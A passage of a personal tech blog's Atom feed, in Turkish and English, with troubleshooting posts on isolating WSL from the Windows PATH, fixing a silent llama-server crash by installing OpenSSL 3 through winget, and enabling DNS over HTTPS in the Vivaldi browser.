&lt;p&gt;Ben kal&amp;inodot;c&amp;inodot; &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml; tercih ettim: &lt;code&gt;wsl.conf&lt;/code&gt; ile k&amp;ouml;kten &amp;ccedil;&amp;ouml;zd&amp;uuml;m.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc-biraz-durust-konusaym"&gt;Sonu&amp;ccedil; (Biraz D&amp;uuml;r&amp;uuml;st Konu&amp;scedil;ay&amp;inodot;m)&lt;a class="headerlink" href="#sonuc-biraz-durust-konusaym" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bence burada as&amp;inodot;l ders &amp;scedil;u: WSL'i "Windows'a ba&amp;gbreve;l&amp;inodot; Linux" gibi kullan&amp;inodot;rsan, bir noktada Windows her &amp;scedil;eye bula&amp;scedil;&amp;inodot;yor. Bu sadece pyenv i&amp;ccedil;in de&amp;gbreve;il, her &amp;scedil;ey i&amp;ccedil;in ge&amp;ccedil;erli. Node.js, Java, Ruby, Go &amp;mdash; Windows'ta kurulu olan herhangi bir ara&amp;ccedil;, WSL'in PATH'ine s&amp;inodot;zabilir. Ben en sonunda &amp;scedil;unu yapt&amp;inodot;m:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows PATH'ini kestim&lt;/li&gt;
&lt;li&gt;&amp;Idot;nterop'u kapatt&amp;inodot;m&lt;/li&gt;
&lt;li&gt;Sistemi izole ettim&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ve garip bir &amp;scedil;ekilde&amp;hellip; her &amp;scedil;ey d&amp;uuml;zeldi 😄 WSL g&amp;uuml;zel ara&amp;ccedil; ama ya onu Linux gibi kullan&amp;inodot;rs&amp;inodot;n ya da Windows karma&amp;scedil;as&amp;inodot;nda kaybolursun. Ben ikinci yolu b&amp;inodot;rak&amp;inodot;p ilkine ge&amp;ccedil;tim. Ve iyi ki de ge&amp;ccedil;mi&amp;scedil;im. E&amp;gbreve;er Windows taraf&amp;inodot;nda da benzer bir pyenv &amp;ccedil;&amp;inodot;kmaz&amp;inodot;na girdiyseniz, &lt;a href="/powershell-pyenv-win-kurulum-hatasi-cozumu/"&gt;Powershell pyenv-win Kurulum Hatas&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt; rehberim tam size g&amp;ouml;re!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;K&amp;uuml;&amp;ccedil;&amp;uuml;k bir itiraf Bunu ilk &amp;ccedil;&amp;ouml;zerken baya 'neden python bana d&amp;uuml;&amp;scedil;man oldu' moduna girmi&amp;scedil;tim. Me&amp;gbreve;er olay python de&amp;gbreve;ilmi&amp;scedil;, ortamm&amp;inodot;&amp;scedil;. &amp;Idot;nterop denen &amp;scedil;eyi o g&amp;uuml;n &amp;ouml;&amp;gbreve;rendim. Ve o g&amp;uuml;nden beri WSL'i hep izole kullan&amp;inodot;yorum.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;&amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/powershell-pyenv-win-kurulum-hatasi-cozumu/"&gt;Powershell pyenv-win Kurulum Hatas&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank"&gt;Linux GPU S&amp;uuml;r&amp;uuml;c&amp;uuml; Rehberi: AMD, Intel ve Nvidia &amp;Idot;&amp;ccedil;in Stabil ve Temiz Kurulum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/" rel="noopener noreferrer" target="_blank"&gt;Arch Linux'ta ntsync Nas&amp;inodot;l Aktif Edilir?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/vivaldi-doh-dns-over-https-ayari/" rel="noopener noreferrer" target="_blank"&gt;Vivaldi'de DoH Ayar&amp;inodot; Nas&amp;inodot;l Yap&amp;inodot;l&amp;inodot;r?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/proxmox-zfs-home-assistant/" rel="noopener noreferrer" target="_blank"&gt;Proxmox + ZFS &amp;Uuml;zerinde Home Assistant Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;code&gt;appendWindowsPath=false&lt;/code&gt; sadece PATH'i etkiler, dosya sistemini de&amp;gbreve;il. &lt;code&gt;/mnt/c/&lt;/code&gt; h&amp;acirc;l&amp;acirc; eri&amp;scedil;ilebilir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;VS Code'un WSL eklentisi Remote - WSL ile ba&amp;gbreve;lanabilirsiniz, interop gerektirmez.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="wsl"/><category term="pyenv"/><category term="windows"/><category term="linux"/><category term="path"/><category term="python"/></entry><entry><title>TurboQuant Silent Crash Issue and Solution</title><link href="https://yuceltoluyag.github.io/en/turboquant-sessiz-cokme-cozumu/" rel="alternate"/><published>2026-05-03T01:46:00+03:00</published><updated>2026-05-03T01:46:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-03:/en/turboquant-sessiz-cokme-cozumu/</id><summary type="html">&lt;p&gt;Is llama-server closing silently while using TurboQuant? It turns out OpenSSL files were forgotten. Here is the simple solution to that annoying problem.&lt;/p&gt;</summary><content type="html">&lt;h2 id="our-hopes-were-dashed-why-isnt-turboquant-working"&gt;Our Hopes Were Dashed: Why Isn't TurboQuant Working?&lt;a class="headerlink" href="#our-hopes-were-dashed-why-isnt-turboquant-working" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As you know, the local AI world throws something new at us every day. Last night, I decided to take a look at the famous &lt;strong&gt;TurboQuant&lt;/strong&gt; thing. You know, that technology from Google DeepMind that reduces the KV cache to 3 bits and literally sucks up VRAM... I have an RTX 4060 Ti 16GB card, and I thought, "Man, now I can sail into massive context windows with this." But as it turns out, everything wasn't as rosy as it looked on paper. 🤯&lt;/p&gt;
&lt;p&gt;I did the installation, everything is in place. But when I clicked on that famous &lt;code&gt;llama-server.exe&lt;/code&gt; file (or fired it up from the terminal), what did I see? Nothing! Literally a silent resistance. No error code, no "this file is missing" warning... I click it, it closes instantly. This situation makes you a nervous wreck; I felt like throwing the computer out the window for a moment. Anyway, back to the subject.&lt;/p&gt;
&lt;h2 id="behind-the-scenes-of-the-silent-crash-status_dll_not_found"&gt;Behind the Scenes of the Silent Crash: STATUS_DLL_NOT_FOUND&lt;a class="headerlink" href="#behind-the-scenes-of-the-silent-crash-status_dll_not_found" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Interestingly, it didn't give any output even when I ran it from the terminal. It just silently moves to the next line. While wondering, "Maybe the processor couldn't handle it (does it want AVX-512?)," I found myself on GitHub Issues pages. It turns out this isn't a "defect," it's literally a story of forgetfulness.&lt;/p&gt;
&lt;p&gt;In the Windows CUDA 12.4 version (tqp-v0.1.1) of the &lt;code&gt;TheTom/llama-cpp-turboquant&lt;/code&gt; fork, someone forgot to package two very critical files. It's exactly like building a house but forgetting the key inside. 🤦&amp;zwj;&amp;male;️&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! ⚠️&lt;/p&gt;
&lt;p&gt;If the program closes for you without any error, it probably means OpenSSL files are missing from your system. This error usually happens silently in the Windows command line.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="the-solution-openssl-3-lts-to-the-rescue"&gt;The Solution: OpenSSL 3 (LTS) to the Rescue&lt;a class="headerlink" href="#the-solution-openssl-3-lts-to-the-rescue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The issue was this: The application needs OpenSSL libraries, namely &lt;code&gt;libssl-3-x64.dll&lt;/code&gt; and &lt;code&gt;libcrypto-3-x64.dll&lt;/code&gt;, to run. If these aren't installed on your computer (which they usually aren't), the application says "I'm leaving" as soon as it starts.&lt;/p&gt;
&lt;p&gt;So I immediately jumped in with &lt;code&gt;winget&lt;/code&gt;. First I tried the newest version (OpenSSL 4.0), but it turns out our finicky &lt;code&gt;llama-server&lt;/code&gt; insisted on version "3". Now you have to start all over again... Luckily, the LTS version came to our rescue.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡&lt;/p&gt;
&lt;p&gt;To solve this problem, paste this command into your terminal:
&lt;code&gt;winget install ShiningLight.OpenSSL.LTS.Light&lt;/code&gt;
This command will provide your system with those missing DLL files it needs.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="conclusion-let-the-massive-context-enjoyment-begin"&gt;Conclusion: Let the Massive Context Enjoyment Begin!&lt;a class="headerlink" href="#conclusion-let-the-massive-context-enjoyment-begin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After installing OpenSSL version 3.x, that silently closing terminal suddenly came to life. It saw my RTX 4060 Ti card and greeted it so well... Now there's no more worry about running out of VRAM while writing code with 128K context. So sometimes the solution isn't inspecting code for hours, but just finding those two missing files and putting them in place. 😎&lt;/p&gt;
&lt;p&gt;The bottom line is; technology sometimes plays little games like this with us. But when you don't give up and see the output of that final &lt;code&gt;--version&lt;/code&gt; command on the screen, you feel relieved, as if the world exists. Now it's time to enjoy TurboQuant! 🚀&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;If it weren't for &lt;a href="https://github.com/TheTom/llama-cpp-turboquant/issues/109" rel="noopener noreferrer" target="_blank"&gt;issue 109&lt;/a&gt; opened on GitHub, I'd probably still be chasing after AVX-512.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="llama.cpp"/><category term="turboquant"/><category term="openssl"/><category term="cuda"/><category term="ai"/></entry><entry><title>TurboQuant Sessiz Çökme Sorunu ve Çözümü</title><link href="https://yuceltoluyag.github.io/turboquant-sessiz-cokme-cozumu/" rel="alternate"/><published>2026-05-03T01:46:00+03:00</published><updated>2026-05-03T01:46:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-03:/turboquant-sessiz-cokme-cozumu/</id><summary type="html">&lt;p&gt;TurboQuant kullanırken llama-server sessizce mi kapanıyor? Meğer OpenSSL dosyaları unutulmuş. İşte o sinir bozucu sorunun basit çözümü.&lt;/p&gt;</summary><content type="html">&lt;h2 id="hevesimiz-kursagmzda-kald-turboquant-neden-calsmyor"&gt;Hevesimiz Kursa&amp;gbreve;&amp;inodot;m&amp;inodot;zda Kald&amp;inodot;: TurboQuant Neden &amp;Ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yor?&lt;a class="headerlink" href="#hevesimiz-kursagmzda-kald-turboquant-neden-calsmyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Biliyorsun, yerel yapay zeka d&amp;uuml;nyas&amp;inodot; her g&amp;uuml;n yeni bir &amp;scedil;ey f&amp;inodot;rlat&amp;inodot;yor &amp;ouml;n&amp;uuml;m&amp;uuml;ze. D&amp;uuml;n ak&amp;scedil;am da &amp;scedil;u me&amp;scedil;hur &lt;strong&gt;TurboQuant&lt;/strong&gt; olay&amp;inodot;na bir bakay&amp;inodot;m dedim. Hani &amp;scedil;u Google DeepMind'&amp;inodot;n KV cache olay&amp;inodot;n&amp;inodot; 3 bit'e kadar d&amp;uuml;&amp;scedil;&amp;uuml;ren, VRAM'i resmen emc&amp;uuml;kleyen o teknoloji var ya... RTX 4060 Ti 16GB kart&amp;inodot;m var, "Ulan," dedim, "&amp;scedil;imdi bununla devasa ba&amp;gbreve;lam (context) pencerelerine yelken a&amp;ccedil;ar&amp;inodot;m." Ama gel g&amp;ouml;r ki, her &amp;scedil;ey &amp;ouml;yle ka&amp;gbreve;&amp;inodot;t &amp;uuml;zerinde durdu&amp;gbreve;u gibi toz pembe de&amp;gbreve;ilmi&amp;scedil;. 🤯&lt;/p&gt;
&lt;p&gt;Kurulumu yapt&amp;inodot;m, her &amp;scedil;ey yerli yerinde duruyor. Ama o me&amp;scedil;hur &lt;code&gt;llama-server.exe&lt;/code&gt; dosyas&amp;inodot;na t&amp;inodot;klad&amp;inodot;&amp;gbreve;&amp;inodot;mda (veya terminalden yard&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;mda) bir de ne g&amp;ouml;reyim? Hi&amp;ccedil;bir &amp;scedil;ey! Resmen sessiz bir direni&amp;scedil;. Ne bir hata kodu, ne bir "&amp;scedil;u dosya eksik" uyar&amp;inodot;s&amp;inodot;... Bas&amp;inodot;yorum, an&amp;inodot;nda kapan&amp;inodot;yor. &amp;Idot;nsan&amp;inodot; sinir hastas&amp;inodot; eder bu durum, hani bilgisayar&amp;inodot; camdan a&amp;scedil;a&amp;gbreve;&amp;inodot; atas&amp;inodot;m geldi bir an. Neyse, konuya d&amp;ouml;neyim.&lt;/p&gt;
&lt;h2 id="sessiz-cokusun-perde-arkas-status_dll_not_found"&gt;Sessiz &amp;Ccedil;&amp;ouml;k&amp;uuml;&amp;scedil;&amp;uuml;n Perde Arkas&amp;inodot;: STATUS_DLL_NOT_FOUND&lt;a class="headerlink" href="#sessiz-cokusun-perde-arkas-status_dll_not_found" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in ilgin&amp;ccedil; yan&amp;inodot;, terminalden &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;mda bile hi&amp;ccedil;bir &amp;ccedil;&amp;inodot;kt&amp;inodot; vermiyordu. Sadece sessizce bir alt sat&amp;inodot;ra ge&amp;ccedil;iyor. "Acaba i&amp;scedil;lemci mi yemedi (AVX-512 mi istiyor acaba?)" diye d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;rken kendimi GitHub Issues sayfalar&amp;inodot;nda buldum. Me&amp;gbreve;er bu bir "kusur" de&amp;gbreve;il, resmen bir unutkanl&amp;inodot;k hikayesiymi&amp;scedil;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TheTom/llama-cpp-turboquant&lt;/code&gt; fork'unun Windows CUDA 12.4 s&amp;uuml;r&amp;uuml;m&amp;uuml;nde (tqp-v0.1.1) birileri &amp;ccedil;ok kritik iki dosyay&amp;inodot; paketlemeyi unutmu&amp;scedil;. Hani bir evi in&amp;scedil;a edersin de anahtar&amp;inodot;n&amp;inodot; i&amp;ccedil;eride unutursun ya, tam olarak &amp;ouml;yle bir durum. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; 🤦&amp;zwj;&amp;male;️&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! ⚠️&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er sizde de hi&amp;ccedil;bir hata vermeden program kapan&amp;inodot;yorsa, muhtemelen sisteminizde OpenSSL dosyalar&amp;inodot; eksik demektir. Bu hata Windows'un komut sat&amp;inodot;r&amp;inodot;nda genelde sessizce ger&amp;ccedil;ekle&amp;scedil;ir.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="isin-cozumu-openssl-3-lts-kurtarc-oldu"&gt;&amp;Idot;&amp;scedil;in &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;: OpenSSL 3 (LTS) Kurtar&amp;inodot;c&amp;inodot; Oldu&lt;a class="headerlink" href="#isin-cozumu-openssl-3-lts-kurtarc-oldu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Mesele &amp;scedil;uymu&amp;scedil;: Uygulama &amp;ccedil;al&amp;inodot;&amp;scedil;mak i&amp;ccedil;in OpenSSL k&amp;uuml;t&amp;uuml;phanelerine, yani &lt;code&gt;libssl-3-x64.dll&lt;/code&gt; ve &lt;code&gt;libcrypto-3-x64.dll&lt;/code&gt; dosyalar&amp;inodot;na ihtiya&amp;ccedil; duyuyor. Bunlar bilgisayar&amp;inodot;n&amp;inodot;zda y&amp;uuml;kl&amp;uuml; de&amp;gbreve;ilse (ki genelde olmaz), uygulama ba&amp;scedil;lar ba&amp;scedil;lamaz "Ben gidiyorum," diyor.&lt;/p&gt;
&lt;p&gt;Ben de hemen &lt;code&gt;winget&lt;/code&gt; ile dald&amp;inodot;m olaya. &amp;Ouml;nce en yeni s&amp;uuml;r&amp;uuml;m&amp;uuml; denedim (OpenSSL 4.0), ama me&amp;gbreve;er bizim nazl&amp;inodot; &lt;code&gt;llama-server&lt;/code&gt; illa ki "3" versiyonunu istiyormu&amp;scedil;. &amp;Idot;&amp;scedil;in yoksa sil ba&amp;scedil;tan yap... Neyse ki LTS s&amp;uuml;r&amp;uuml;m&amp;uuml; imdad&amp;inodot;m&amp;inodot;za yeti&amp;scedil;ti.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡&lt;/p&gt;
&lt;p&gt;Bu sorunu &amp;ccedil;&amp;ouml;zmek i&amp;ccedil;in &amp;scedil;u komutu terminalinize yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:
&lt;code&gt;winget install ShiningLight.OpenSSL.LTS.Light&lt;/code&gt;
Bu komut sisteminize ihtiyac&amp;inodot; olan o kay&amp;inodot;p DLL dosyalar&amp;inodot;n&amp;inodot; kazand&amp;inodot;racak.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="sonuc-devasa-context-keyfi-baslasn"&gt;Sonu&amp;ccedil;: Devasa Context Keyfi Ba&amp;scedil;las&amp;inodot;n!&lt;a class="headerlink" href="#sonuc-devasa-context-keyfi-baslasn" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;OpenSSL 3.x s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; kurduktan sonra o sessizce kapanan terminal bir anda canland&amp;inodot;. RTX 4060 Ti kart&amp;inodot;m&amp;inodot; bir g&amp;ouml;rd&amp;uuml;, bir selamla&amp;scedil;t&amp;inodot; ki sorma... Art&amp;inodot;k 128K context ile kod yazd&amp;inodot;r&amp;inodot;rken VRAM bitti derdi kalmad&amp;inodot;. Yani bazen &amp;ccedil;&amp;ouml;z&amp;uuml;m, saatlerce kod incelemek de&amp;gbreve;il, sadece o kay&amp;inodot;p iki tane dosyay&amp;inodot; bulup yerine koymakm&amp;inodot;&amp;scedil;. 😎&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in &amp;ouml;z&amp;uuml;; teknoloji bazen b&amp;ouml;yle k&amp;uuml;&amp;ccedil;&amp;uuml;k oyunlar oynuyor bize. Ama pes etmeyince, o son &lt;code&gt;--version&lt;/code&gt; komutunun &amp;ccedil;&amp;inodot;kt&amp;inodot;s&amp;inodot;n&amp;inodot; ekranda g&amp;ouml;r&amp;uuml;nce insan bir rahatl&amp;inodot;yor, hani d&amp;uuml;nya varm&amp;inodot;&amp;scedil; diyorsun. &amp;Scedil;imdi bu TurboQuant'&amp;inodot;n tad&amp;inodot;n&amp;inodot; &amp;ccedil;&amp;inodot;karma vakti! 🚀&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Github &amp;uuml;zerinde a&amp;ccedil;&amp;inodot;lan &lt;a href="https://github.com/TheTom/llama-cpp-turboquant/issues/109" rel="noopener noreferrer" target="_blank"&gt;109 numaral&amp;inodot; issue&lt;/a&gt; olmasa hala AVX-512 pe&amp;scedil;inde ko&amp;scedil;uyordum herhalde.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="llama.cpp"/><category term="turboquant"/><category term="openssl"/><category term="cuda"/><category term="ai"/></entry><entry><title>How to Configure DoH in Vivaldi? (Freedom with Cloudflare)</title><link href="https://yuceltoluyag.github.io/en/vivaldi-doh-dns-over-https-ayari/" rel="alternate"/><published>2025-11-30T16:30:00+03:00</published><updated>2025-11-30T16:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/en/vivaldi-doh-dns-over-https-ayari/</id><summary type="html">&lt;p&gt;How do you set up DoH in the Vivaldi browser to encrypt your internet traffic and bypass restrictions? Here is the fastest method with Cloudflare.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I'm tired of internet service providers (ISPs) snooping on our DNS traffic, wondering "which site did you visit now?" This is precisely why we use a "power user" friendly browser like Vivaldi (I actually wrote extensively about my love for Vivaldi and my entire Linux experience in my &lt;a href="/en/vivaldi-linux-deneyimi/"&gt;Why I Love Vivaldi&lt;/a&gt; article), but sometimes default settings fall short.&lt;/p&gt;
&lt;p&gt;Today, we're going to set up that famous &lt;strong&gt;DoH (DNS over HTTPS)&lt;/strong&gt; in Vivaldi. In other words, we'll encrypt our DNS queries and pass them through a tunnel that ISPs can't see. And we'll do it using &lt;strong&gt;Cloudflare&lt;/strong&gt;. (Why Cloudflare? Because with its 1.1.1.1 infrastructure, it's the fastest and most stable on the market).&lt;/p&gt;
&lt;p&gt;Let's get this setting done so our internet can breathe a little.&lt;/p&gt;
&lt;h2 id="step-1-up-to-date-is-a-must-or-is-it"&gt;Step 1: Up-to-date is a Must (Or is it?)&lt;a class="headerlink" href="#step-1-up-to-date-is-a-must-or-is-it" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, it is best to make sure Vivaldi is up-to-date. Well, it makes sense. In older versions, these menus might be located elsewhere.&lt;/p&gt;
&lt;p&gt;Click the Vivaldi logo in the top left, go to &lt;strong&gt;Help &amp;gt; Check for Updates&lt;/strong&gt;. If it says "You are already at the latest version," let's continue.&lt;/p&gt;
&lt;h2 id="step-2-finding-settings-without-getting-lost-in-the-labyrinth"&gt;Step 2: Finding Settings Without Getting Lost in the Labyrinth&lt;a class="headerlink" href="#step-2-finding-settings-without-getting-lost-in-the-labyrinth" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now, this part is a bit tricky. Older guides say the setting is under &lt;code&gt;vivaldi://settings/network/&lt;/code&gt;. But Vivaldi developers love changing the location of menus.&lt;/p&gt;
&lt;p&gt;The most reliable way is this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Press &lt;code&gt;Ctrl + F12&lt;/code&gt; on your keyboard (Settings opens).&lt;/li&gt;
&lt;li&gt;Type &lt;strong&gt;"Secure DNS"&lt;/strong&gt; directly into the search bar on the left.&lt;/li&gt;
&lt;li&gt;For those who don't want to bother, pasting this into the address bar and hitting Enter also works (provided Vivaldi hasn't removed this command):
    &lt;code&gt;vivaldi://settings/privacy/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Short Cut ⚡ Don't get lost in menus. The search box in the settings window is your best friend. Type 'DNS,' and the setting will appear right in front of you.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="step-3-entering-the-cloudflare-server"&gt;Step 3: Entering the Cloudflare Server&lt;a class="headerlink" href="#step-3-entering-the-cloudflare-server" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We found the setting location; it's usually hidden near the bottom of the &lt;strong&gt;"Privacy and Security"&lt;/strong&gt; tab.&lt;/p&gt;
&lt;p&gt;There, you will see the &lt;strong&gt;"Use Secure DNS"&lt;/strong&gt; option. By default, "With your current service provider" is selected (which is exactly what we are trying to escape).&lt;/p&gt;
&lt;p&gt;Here's what you need to do in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Select the Cloudflare option. If you want to make custom settings, select the &lt;strong&gt;"With Custom"&lt;/strong&gt; option.&lt;/li&gt;
&lt;li&gt;Choose the Cloudflare option in the box next to or below it:
&lt;img alt="Vivaldi DoH setting" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/vivaldi-doh-dns-over-https-ayari-xl.webp" srcset="/images/vivaldi-doh-dns-over-https-ayari-sm.webp 300w, /images/vivaldi-doh-dns-over-https-ayari-md.webp 500w, /images/vivaldi-doh-dns-over-https-ayari-lg.webp 800w, /images/vivaldi-doh-dns-over-https-ayari-xl.webp 1200w"/&gt;&lt;/li&gt;
&lt;li&gt;Alternatively, you can paste this address into the address bar: &lt;code&gt;https://doh.dns.sb/dns-query&lt;/code&gt; but the risk for this address belongs to you. I use Cloudflare.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You don't need to press Enter or say "Save"; Vivaldi (thanks to the Chromium infrastructure) picks up the setting instantly.&lt;/p&gt;
&lt;h2 id="result-does-it-work"&gt;Result: Does it Work?&lt;a class="headerlink" href="#result-does-it-work" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We made the setting, but let's not let the suspicion of "What if it's not working?" eat us up.
Open a new tab immediately and go to the &lt;a href="https://1.1.1.1/help" rel="noopener noreferrer" target="_blank"&gt;Cloudflare Help&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;If it says &lt;strong&gt;"Yes"&lt;/strong&gt; in the &lt;strong&gt;"Using DNS over HTTPS (DoH)"&lt;/strong&gt; section, congratulations! Your DNS queries are now going encrypted. Your ISP cannot see which site you visited via DNS (they can see it via IP, but that's a topic for another article; I actually covered a similar privacy and leak issue in my &lt;a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;How to Install OpenVPN on AWS EC2 and Fix DNS Leak&lt;/a&gt; article 😅).&lt;/p&gt;
&lt;p&gt;Sometimes this setting can cut off the internet on corporate networks or some cafe Wi-Fi. In such a case, uncheck the "Use Secure DNS" box and try again. Technology, after all, sometimes requires turning it off and on again.&lt;/p&gt;
&lt;p&gt;Enjoy using it freely!&lt;/p&gt;</content><category term="Ağ ve İnternet"/><category term="vivaldi"/><category term="doh"/><category term="dns over https"/><category term="cloudflare"/><category term="privacy"/><category term="censorship"/></entry><entry><title>Vivaldi'de DoH Ayarı Nasıl Yapılır? (Cloudflare ile Özgürlük)</title><link href="https://yuceltoluyag.github.io/vivaldi-doh-dns-over-https-ayari/" rel="alternate"/><published>2025-11-30T16:30:00+03:00</published><updated>2025-11-30T16:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/vivaldi-doh-dns-over-https-ayari/</id><summary type="html">&lt;p&gt;Vivaldi tarayıcısında internet trafiğinizi şifrelemek ve yasakları aşmak için DoH ayarını nasıl yaparsınız? İşte Cloudflare ile en hızlı yöntem.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&amp;Idot;nternet servis sa&amp;gbreve;lay&amp;inodot;c&amp;inodot;lar&amp;inodot;n&amp;inodot;n (ISS) "hangi siteye girdin bakay&amp;inodot;m sen?" diye DNS trafi&amp;gbreve;imizi dikizlemesinden b&amp;inodot;kt&amp;inodot;m usand&amp;inodot;m. S&amp;inodot;rf bu y&amp;uuml;zden Vivaldi gibi "power user" (bizim gibi kurcalamay&amp;inodot; sevenler) dostu bir taray&amp;inodot;c&amp;inodot; kullan&amp;inodot;yoruz (ki Vivaldi'ye olan sevgimi ve t&amp;uuml;m Linux tecr&amp;uuml;belerimi &lt;a href="/vivaldi-linux-deneyimi/"&gt;Vivaldi'yi Neden Seviyorum&lt;/a&gt; yaz&amp;inodot;mda da uzun uzun anlatm&amp;inodot;&amp;scedil;t&amp;inodot;m) ama varsay&amp;inodot;lan ayarlar bazen yetersiz kal&amp;inodot;yor.&lt;/p&gt;
